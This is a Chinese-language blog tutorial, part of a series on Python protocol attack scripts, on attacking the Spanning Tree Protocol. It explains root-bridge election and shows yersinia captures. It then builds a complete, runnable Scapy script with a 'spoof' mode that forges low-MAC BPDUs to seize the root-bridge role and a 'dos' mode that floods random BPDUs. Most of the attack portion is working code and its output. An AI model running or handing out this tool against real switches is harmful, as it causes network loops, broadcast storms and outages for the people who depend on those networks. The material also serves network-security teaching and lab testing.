Python 協議攻擊腳本(六): STP攻擊

STP

生成樹協議(英語:Spanning Tree ProtocolSTP),是一種工作在OSI網絡模型中的第二層(數據鏈路層)的通信協議,基本應用是防止交換機冗餘鏈路產生的環路.用於確保以太網中無環路的邏輯拓撲結構.從而避免了廣播風暴,大量佔用交換機的資源.

STP的工作過程如下:

  • 首先進行根網橋的選舉,不斷髮送BPDU,由橋ID最小的爲根橋
  • 計算每個節點到根橋的距離,並由這些路徑得到各冗餘鏈路的代價,選擇最小的成爲通信路徑(相應的端口狀態變爲forwarding),其它的就成爲備份路徑(相應的端口狀態變爲blocking)。

橋ID:

  1. 交換機設置的優先級(bridge priority)
  2. 交換機自身的mac,越小優先級越高

優先級優先,優先級相同則比較mac

stp欺騙

發送網橋ID很低的精心設計的BPDU,就可以欺騙交換機,使它以爲這是根網橋,這會導致STP重新收斂(reconverge),從而引起迴路,導致網絡崩潰。

stp dos攻擊

利用假冒的BPDU數據來消耗交換機的資源,從而達到破壞網絡環境的目的.

數據包抓包

需要配置有生成樹的網絡環境

利用yersinia工具進行STP攻擊,進行抓包分析

YERSINIA工具的使用(VLAN跳躍,STP攻擊等)

STP欺騙

yersinia -G

mark

交換機發出來的數據包

mark

Scapy中Dot3對應的就是IEEE 802.3協議

Dot3

  • src: 00:03:0f:91:06:73 交換機mac
  • dst: 01-80-C2-00-00-00

鏈路層中01-80-C2-00-00-00多播地址

鏈路層發現協議 | wiki

LLC

  • dsap: 0x42
  • ssap: 0x42

STP

  • bridgeid:0
  • bridgemac:00:03:0f:91:06:73 交換機mac

攻擊發出的包

mark

發現對mac進行僞造,mac小於了交換機mac,成功了根橋的欺騙

STP

  • bridgeid:0
  • bridgemac:00:03:0f:90:06:73 僞裝的MAC

STP Dos

yersinia -G

mark

抓包

mark

隨機生成一些字段

編寫腳本

STP欺騙

1.抓取STP數據包,並獲取當前根橋mac

sniff() :嗅探數據

sniff的幫助信息裏面有這樣一段

>>> help(sniff)
[...]
stop_filter: Python function applied to each packet to determine if
                     we have to stop the capture after this packet.
                     --Ex: stop_filter = lambda x: x.haslayer(TCP)
[...]

根據例子,可以得出這樣的函數lambda x: x.haslayer(STP)

利用這個來抓取STP的數據包

>>> stp = STP()
>>> tcp = TCP()
>>> stp.haslayer(STP)
True
>>> tcp.haslayer(STP)
0
>>> sniff(stop_filter=lambda x: x.haslayer(STP),count=1)
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:1>

提取根橋mac

>>> packet = sniff(stop_filter=lambda x: x.haslayer(STP),count=1)
>>> packet
<Sniffed: TCP:0 UDP:0 ICMP:0 Other:1>
>>> packet[-1]
<Dot3  dst=01:80:c2:00:00:00 src=00:03:0f:91:06:73 len=38 |<LLC  dsap=0x42 ssap=0x42 ctrl=3 |<STP  proto=0 version=0 bpdutype=0 bpduflags=0 rootid=0 rootmac=00:03:0f:91:06:73 pathcost=0 bridgeid=0 bridgemac=00:03:0f:91:06:73 portid=32769 age=0.0 maxage=20.0 hellotime=2.0 fwddelay=15.0 |<Padding  load='\x00\x00\x00\x00\x00\x00\x00\x00' |>>>>
>>> stp = packet[-1].getlayer('STP')
>>> stp.fields['rootmac']
'00:03:0f:91:06:73'                                          

2.發送stp欺騙數據包

查看數據包字段

>>> ls(STP)
proto      : ShortField                          = (0)
version    : ByteField                           = (0)
bpdutype   : ByteField                           = (0)
bpduflags  : ByteField                           = (0)
rootid     : ShortField                          = (0)
rootmac    : MACField                            = ('00:00:00:00:00:00')
pathcost   : IntField                            = (0)
bridgeid   : ShortField                          = (0)
bridgemac  : MACField                            = ('00:00:00:00:00:00')
portid     : ShortField                          = (0)
age        : BCDFloatField                       = (1)
maxage     : BCDFloatField                       = (20)
hellotime  : BCDFloatField                       = (2)
fwddelay   : BCDFloatField                       = (15)

構造數據包

>>> mac_new = '00:03:0f:90:06:73' #比交換機mac 00:03:0f:91:06:73小 
>>> packet = Dot3(src=mac_new,dst='01:80:C2:00:00:00')/LLC()/STP(rootid=0,rootmac=mac_new,bridgeid=0,bridgemac=mac_new)
>>> packet.show()
###[ 802.3 ]###
  dst= 01:80:C2:00:00:00
  src= 00:03:0f:90:06:73
  len= None
###[ LLC ]###
     dsap= 0x42
     ssap= 0x42
     ctrl= 3
###[ Spanning Tree Protocol ]###
        proto= 0
        version= 0
        bpdutype= 0
        bpduflags= 0
        rootid= 0
        rootmac= 00:03:0f:90:06:73
        pathcost= 0
        bridgeid= 0
        bridgemac= 00:03:0f:90:06:73
        portid= 0
        age= 1
        maxage= 20
        hellotime= 2
        fwddelay= 15

3.發送包

>>> sendp(packet,loop=1)
........................................................................................................
[...]

發送前
mark

發送後
mark

STP Dos

1.隨機優先級

優先級:

  1. 4096的倍數
  2. 0~61440
>>> id_list = []
>>> for i in range(9):id_list.append(i * 4096)
>>> id_list
[0, 4096, 8192, 12288, 16384, 20480, 24576, 28672, 32768]
>>> import random
>>> random.choice(id_list)
0
>>> random.choice(id_list)
4096

2.隨機MAC

>>> print(RandMAC())
77:41:76:0c:6b:8f
>>> print(RandMAC())
8e:f4:f8:90:66:4d

完整代碼

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from scapy.all import (
Ether,
STP,
LLC,
sendp,
sniff,
RandMAC)
from random import choice
from argparse import ArgumentParser
import sys

mac_dst = '01:80:C2:00:00:00'

def bpdu_dos(iface):
    id_list = []
    for i in range(9):
        id_list.append(i * 4096)

    randmac = RandMAC()
    ether = Ether(dst=mac_dst,src=randmac)/LLC()
    stp = STP(rootid=choice(id_list),rootmac=randmac,bridgeid=choice(id_list),bridgemac=randmac)
    pkt = ether/stp
    sendp(pkt,iface=iface,loop=1)

def bpdu_spoof(iface):
    mac_new = get_rootmac(iface)
    while 1:
        ether = Ether(dst=mac_dst,src=mac_new)/LLC()
        stp = STP(rootid=0,rootmac=mac_new,bridgeid=0,bridgemac=mac_new)
        pkt = ether/stp
        sendp(pkt,iface=iface)

def get_rootmac(iface):
    stp = sniff(stop_filter=lambda x: x.haslayer(STP),iface=iface,timeout=3,count=1)

    if not stp:
        print('[-]No stp packet')
        sys.exit(1)

    mac = stp.res[0].fields['src']
    mac_list = mac.split(':')
    mac_list[3] = hex(int(mac_list[3],16) - 1)[2:]
    mac_new = ':'.join(mac_list)
    return mac_new

def main():
    usage = '%s  [-i interface] [-m mode]'%(sys.argv[0])
    parser = ArgumentParser(usage=usage)
    parser.add_argument('-i','--iface',default='eth0',help='The network interface of use')
    parser.add_argument('-m','--mode',required=True,help='[spoof]:The BPDU Root Roles attack [dos]:The BPDU Dos attack')
    args = parser.parse_args()
    iface = args.iface
    attack = args.mode
    
    try:
        if attack == 'spoof':
            bpdu_spoof(iface)
        elif attack == 'dos':
            bpdu_dos(iface)
        else:
            parser.print_help()

    except KeyboardInterrupt:
        print('\n[+] Stopped sending')
        
    except ValueError:  # 捕獲輸入參數錯誤
        parser.print_help()

if __name__ == '__main__':
    main()

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章